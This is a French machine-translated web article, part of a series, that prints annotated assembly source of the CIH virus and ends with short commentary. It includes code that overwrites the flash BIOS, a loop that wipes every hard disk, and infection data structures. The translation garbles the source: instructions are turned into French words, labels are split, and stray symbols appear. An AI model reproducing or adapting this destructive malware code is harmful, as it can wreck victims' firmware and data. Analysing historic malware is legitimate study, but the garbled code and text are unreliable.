Maison > Article > développement back-end > Analyse d'exemples de codes sources de programmes antivirus-virus CIH[5]
Analyse d'exemples de codes sources de programmes antivirus-virus CIH[5]
push ecx
loop $
; Détruisez les données ROM supplémentaires du segment 000E0000 - 000E007F dans le BIOS, un total de 80h octets
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
; Afficher et activer les données du segment 000E0000 - 000FFFFF du BIOS, un total de 128 Ko, ce segment peut écrire des informations mov eax, 0f5555h.
Pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
boucle $
Détruisez les données du segment 000FE000 - 000FE07F ; du BIOS, 80h octets au total
mov ah, 0e0h
mov [eax], al
; Masquer la section 000F0000 - 000FFFFF du BIOS, 64 Ko au total
mov word ptr ( BooleanCalculateCode-@10) [esi], 100ch
appeler esi
; Détruire tous les disques durs
KillHardDisk :
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
Push ecx
mov esi, esp
sub esp, 0ach
Boucle pour détruire
LoopOfKillHardDisk :
int 20h
dd 00100004h
cmp word ptr [esi 06h], 0017h
je KillNextDataSection
;ChangeNextHardDisk:
inc byte ptr [esi 4dh]
jmp LoopOfKill HardDisk
KillNextDataSection :
Ajouter dword ptr [esi 10h], ebx
mov byte ptr [esi 4dh], FirstKillHardDiskNumber
jmp LoopOfKillHardDis k
; informations
EnableEEPROMToWrite :
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx ], al
ret
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx , ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
en al, dx
BooleanCalculateCode = $ 🎜 >
xchg EDX, EBP
OUT DX, EAX
xchg Eax, EDI
xchg EDX, EBP
Out dx, Al
🎜> ret
Définition des données statiques
LastVxdCallAddress = IFSMgr_Ring0_FileIO ; Adresse de l'instruction Vxd du dernier appel
VxdCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_Page Allocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath; La différence entre l'adresse de chaque instruction d'appel Vxd
VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h; Le numéro d'appel de Vxd
VxdCallTableSize = ($-VxdCallIDTable)/04h ;Utilisez Vxd pour appeler dans le programme Nombre de virus
; et définition des informations de copyright
VirusVersionCopyright db 'CIH v' ; identification du virus CIH
db MajorVirusVersion '0' ; numéro de version majeure
db '.'
db MinorVirusVersion '0' ;numéro de version mineur
db 'TATUNG' ; Nom de l'auteur
SizeOfTheFirstVirusCodeSectionTable(04h)
; Définition des données dynamiques
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress ; > OnBusy db 0 ; indicateur "Busy"
FileModificationTime dd ?; Heure de modification du fichier
FileNameBuffer db FileNameBufferSize dup(?) ; 7fh tampon de nom de fichier long
@7 = FileNameBuffer
DataBuffer = $
@ 8 = DataBuffer
NumberOfSections dw ? Nombre de blocs
TimeDateStamp dd ; dw ? ;Drapeau de jeu de caractères
Magic dw ? ;Mot de drapeau (toujours 010bh)
LinkerVersion dw ;Numéro de version du lien
SizeOfCode dd ? Taille du segment de code
SizeOfInitializedData dd ; Taille du bloc de données initialisé
SizeOfUninitializedData dd ?
BaseOfData dd ? ;Démarrage de la section de données RVA
ImageBase dd ? ;Charger l'adresse de base RVA
@9 = $
SectionAlignment dd ;Bloc d'alignement
FileAlignment dd ;File block ? alignement
OperatingSystemVersion dd ? ;Numéro de version du système d'exploitation requis
ImageVersion dd ? ;Numéro de version défini par l'utilisateur
SubsystemVersion dd ? ; Longueur totale de chaque partie du fichier
SizeOfHeaders dd ; Taille de l'en-tête du fichier
SizeOfImageHeaderToRead = $-NumberOfSections
NewAddressOfEntryPoint = DataBuffer
SizeOfImageHeaderToWrite = 04h
StartOfSectionTable= @9 PointerToR awData PointerToRelocations = StartOfSectionTable 18h NumberOfLinenNmbers = StartOfSectionTable 22h ; Nombre de tables de numéros de ligne
Characteristics = StartOfSectionTable 24h ; Attributs de bloc
SizeOfScetionTable = Characteristics 04h-SectionName ; Longueur de chaque entrée de table de bloc
; requis par le virus
VirusNeedBasememory = $
VirusNeedBasemMory = $
VirUstotalNeedMemory = @ 9
; >; NumberOfSections(? ?)*SizeOfVirusCodeSectionTable(08h)
; SizeOfTheFirstVirusCodeSectionTable(04h)
; Le programme antivirus se termine
VirusGame ENDS
END FileHeader
À partir du processus d'analyse de code ci-dessus, nous pouvons voir que le virus CIH a une structure claire et des couches distinctes. La structure de base de ce programme antivirus est très similaire à celle du virus DOS, sauf que les détails du virus sont traités selon la méthode win95 et que tous les appels système sont effectués à l'aide de Vxd. Cela rend le programme antivirus plus bas niveau, plus efficace et plus facile à programmer. Par rapport à l'utilisation des fonctions API sous Windows, il n'est pas nécessaire de prendre en compte le processus complexe de déplacement du virus lui-même par rapport à l'utilisation d'interruptions, cela peut mieux prévenir ; le suivi du programme analyser.
Le virus CIH a deux innovations. La première consiste à rechercher les zones vides entre les blocs du fichier infecté lorsque le virus infecte et à y écrire les différentes structures de données et codes du virus (s'il s'agit d'une zone vide). ne suffit pas, ce n'est pas contagieux, ce qui est une des raisons pour lesquelles certains fichiers ne seront pas infectés); deuxièmement, le virus peut endommager le matériel informatique lorsqu'il attaque, non seulement en brûlant la mémoire Flash, mais aussi en détruisant le disque dur.
Pour des raisons de sécurité, nous n'avons pas donné d'analyse détaillée de la partie du code qui provoque l'attaque des virus et l'endommagement du matériel.
Ce qui précède est le contenu de l'exemple d'analyse du code source du programme antivirus-virus CIH [5]. Pour plus de contenu connexe, veuillez faire attention au site Web chinois PHP (www. php.cn) !